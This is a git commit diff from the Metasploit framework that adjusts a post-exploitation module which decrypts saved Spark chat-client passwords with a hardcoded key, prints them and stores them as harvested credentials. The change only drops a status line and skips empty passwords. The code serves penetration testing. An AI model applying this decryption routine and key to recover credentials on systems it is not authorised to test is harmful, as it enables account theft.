Only show the password when exists

unstable
sinn3r 2012-12-26 21:10:52 -06:00
parent d3d595da95
commit da49f67079
1 changed files with 1 additions and 2 deletions

View File

@ -40,8 +40,6 @@ class Metasploit3 < Msf::Post
# decrypt spark password # decrypt spark password
def decrypt(hash) def decrypt(hash)
# code to decrypt hash with KEY # code to decrypt hash with KEY
print_status("Starting to decrypt password hash")
encrypted = hash.unpack("m")[0] encrypted = hash.unpack("m")[0]
key = "ugfpV1dMC5jyJtqwVAfTpHkxqJ0+E0ae".unpack("m")[0] key = "ugfpV1dMC5jyJtqwVAfTpHkxqJ0+E0ae".unpack("m")[0]
@ -55,6 +53,7 @@ class Metasploit3 < Msf::Post
password = ::Rex::Text.to_utf8(password) password = ::Rex::Text.to_utf8(password)
user, pass = password.scan(/[[:print:]]+/) user, pass = password.scan(/[[:print:]]+/)
return if pass.nil? or pass.empty?
print_good("Decrypted Username #{user} Password: #{pass}") print_good("Decrypted Username #{user} Password: #{pass}")
store_creds(user, pass) store_creds(user, pass)